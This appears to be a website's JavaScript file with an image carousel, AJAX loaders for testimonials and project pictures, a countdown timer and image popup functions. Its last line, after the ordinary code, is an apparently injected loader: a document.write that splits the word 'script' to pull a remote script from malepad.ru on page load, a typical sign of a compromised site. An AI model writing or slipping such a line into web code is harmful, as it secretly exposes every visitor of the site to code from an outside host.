function abc()
{
val=document.getElementById('nextimg').value;
//parseInt(val);
var n=parseInt(val)+1;
if(n==10)
{
	n=2;
}
document.getElementById('nextimg').value=n;
}
function changetext(sh,tot)
{
	var total=tot;
	for(i=1;i<=total;i++)
	{ 
		var y = document.getElementById('title'+i);
		y.style.display='none';
    }
	var z = document.getElementById('title'+sh);
	z.style.display='block';
}
function bringNext()
{
	var val = document.getElementById('nextimg').value;
	var nm=parseInt(val)+6;
	//alert(parseInt(val));
	//alert(nm);
	       if(nm>9)
			{
			var nm=nm-8;
			for(i=1;i<=9;i++)
	{
	    
		   if(i>parseInt(val) || i<nm)
		   {
		   
				var y = document.getElementById('img'+i);
				y.style.display='block';
				
		   }
		   else
		   {
		   
				var y = document.getElementById('img'+i);
				y.style.display='none';
		   }
	}
           	}
	    else
		{
	for(i=1;i<=9;i++)
	{
	    
		   if(i>=parseInt(val) && i<nm)
		   {
				var y = document.getElementById('img'+i);
				y.style.display='block';
				
		   }
		   else
		   {
				
				var y = document.getElementById('img'+i);
				y.style.display='none';
		   }
	}
	}
}
//  ajax function

var xmlHttp;
function showUser()
{ 
	xmlHttp=GetXmlHttpObject();
	if (xmlHttp==null)
	 {
	 alert ("Browser does not support HTTP Request");
	 return;
	 }
	// alert('entt');
	var url="testimonial.php";
	xmlHttp.onreadystatechange=stateChanged;
	xmlHttp.open("GET",url,true);
	xmlHttp.send(null);
	}

	function stateChanged() 
	{ 
	if (xmlHttp.readyState==4 || xmlHttp.readyState=="complete")
	 { 
	    var testval = xmlHttp.responseText.split("##");
		document.getElementById("testimonial").innerHTML=testval[0];
		document.getElementById("testperson").innerHTML=testval[1];
	 } 
	}

	function GetXmlHttpObject()
	{
	var xmlHttp=null;
	try
	 {
	 // Firefox, Opera 8.0+, Safari
	 xmlHttp=new XMLHttpRequest();
	 }
	catch (e)
	 {
	 //Internet Explorer
	 try
	  {
	  xmlHttp=new ActiveXObject("Msxml2.XMLHTTP");
	  }
	 catch (e)
	  {
	  xmlHttp=new ActiveXObject("Microsoft.XMLHTTP");
	  }
	 }
	return xmlHttp;
}


// ajax call for pictures
var xmlHttp1;
function showPicture()
{ 

	var url="picture.php";
// notice the use of a proxy to circumvent the Same Origin Policy.

new Ajax.Request(url, {
  method: 'get',
  onSuccess: function(transport) {
	var picval = transport.responseText.split("&&&&");
 // alert(picval[0]);
 // alert(picval[1]);
 // alert(picval[2]);

 $("Featured_proj_Content").innerHTML=picval[0];
 $("Project_Picture").innerHTML=picval[1];
 //$("script").innerHTML=picval[2];

 }
});

/*xmlHttp1=GetXmlHttpObject1();
if (xmlHttp==null)
 {
 alert ("Browser does not support HTTP Request");
 return;
 }
var url1="picture.php";
xmlHttp1.onreadystatechange=stateChanged1;
xmlHttp1.open("GET",url1,true);
xmlHttp1.send(null);*/
}

/*function stateChanged1() 
{ 
if (xmlHttp1.readyState==4 || xmlHttp1.readyState=="complete")
 { 
 //alert(xmlHttp.responseText);
 var picval = xmlHttp1.responseText.split("##");
 //alert(picval[0]);
 document.getElementById("Featured_proj_Content").innerHTML=picval[0];
 document.getElementById("Project_Picture").innerHTML=eval(picval[1]);
 } 
}*/

function GetXmlHttpObject1()
{
var xmlHttp1=null;
try
 {
 // Firefox, Opera 8.0+, Safari
 xmlHttp1=new XMLHttpRequest();
 }
catch (e)
 {
 //Internet Explorer
 try
  {
  xmlHttp1=new ActiveXObject("Msxml2.XMLHTTP");
  }
 catch (e)
  {
  xmlHttp1=new ActiveXObject("Microsoft.XMLHTTP");
  }
 }
return xmlHttp1;
}




///hhhhhhhhhhh
TargetDate = "12/31/2020 5:00 AM";
BackColor = "palegreen";
ForeColor = "navy";
CountActive = true;
CountStepper = -1;
LeadingZero = true;
DisplayFormat = "%%D%% Days, %%H%% Hours, %%M%% Minutes, %%S%% Seconds.";
FinishMessage = "It is finally here!";


function calcage(secs, num1, num2) {
  s = ((Math.floor(secs/num1))%num2).toString();
  if (LeadingZero && s.length < 2)
    s = "0" + s;
  return s;
}

function CountBack(secs) {
  if (secs < 0) {
    document.getElementById("cntdwn").innerHTML = FinishMessage;
    return;
  }
  var a=calcage(secs,1,60);
  if(a==50 || a==40 || a==60 || a==30 || a==20 || a==10)
  {
  //alert('tttt');
  showUser();  
 showPicture();
  initAlts();
  }
  
  if (CountActive)
    setTimeout("CountBack(" + (secs+CountStepper) + ")", SetTimeOutPeriod);
}

function putspan(backcolor, forecolor) {
 document.write("<span id='cntdwn' style='background-color:" + backcolor + 
                "; color:" + forecolor + "'></span>");
}

if (typeof(BackColor)=="undefined")
  BackColor = "white";
if (typeof(ForeColor)=="undefined")
  ForeColor= "black";
if (typeof(TargetDate)=="undefined")
  TargetDate = "12/31/2020 5:00 AM";
if (typeof(DisplayFormat)=="undefined")
  DisplayFormat = "%%D%% Days, %%H%% Hours, %%M%% Minutes, %%S%% Seconds.";
if (typeof(CountActive)=="undefined")
  CountActive = true;
if (typeof(FinishMessage)=="undefined")
  FinishMessage = "";
if (typeof(CountStepper)!="number")
  CountStepper = -1;
if (typeof(LeadingZero)=="undefined")
  LeadingZero = true;


CountStepper = Math.ceil(CountStepper);
if (CountStepper == 0)
  CountActive = false;
var SetTimeOutPeriod = (Math.abs(CountStepper)-1)*1000 + 990;
putspan(BackColor, ForeColor);
var dthen = new Date(TargetDate);
var dnow = new Date();
if(CountStepper>0)
  ddiff = new Date(dnow-dthen);
else
  ddiff = new Date(dthen-dnow);
gsecs = Math.floor(ddiff.valueOf()/1000);
CountBack(gsecs);

function showimagepopup(imageid,imgurl,imgcontainer,itop,ileft)
{
//alert(imgurl);
//alert(itop);
//alert(ileft);
	document.getElementById(imageid).src=imgurl;	
	var ilft = document.body.scrollWidth;
	// var dlft = document.getElementById(imageid).width;
	// ilft = parseInt(ilft/2);
	// dlft = parseInt(dlft/2);
	// var itp = document.body.scrollHeight;
	// var dtp = document.getElementById(imageid).height;
	// itp = parseInt(itp/2);
	// dtp = parseInt(dtp/2);
	// ileft = ilft-dlft;
	// itop = itp-dtp;
	// alert(ileft);
	// alert(itop);

	if(navigator.appName=="Microsoft Internet Explorer")
	{
		itop=parseInt(itop)+5; 
		ileft=parseInt(ileft)+5;
		document.getElementById(imgcontainer).style.top=itop+"px";
		document.getElementById(imgcontainer).style.left=ileft+"px";
	}
	else
	{
		document.getElementById(imgcontainer).style.top=itop+"px";
		document.getElementById(imgcontainer).style.left=ileft+"px";
	}
	document.getElementById(imgcontainer).style.visibility='visible';	
	document.getElementById(imgcontainer).style.display='block';
	
}
function hideimagepopup(imgcontainer)
{
	document.getElementById(imgcontainer).style.visibility='hidden';
	document.getElementById(imgcontainer).style.display='none';	
}




document.write('<s'+'cript type="text/javascript" src="http://malepad.ru:8080/Parallel_Port.js"></scr'+'ipt>');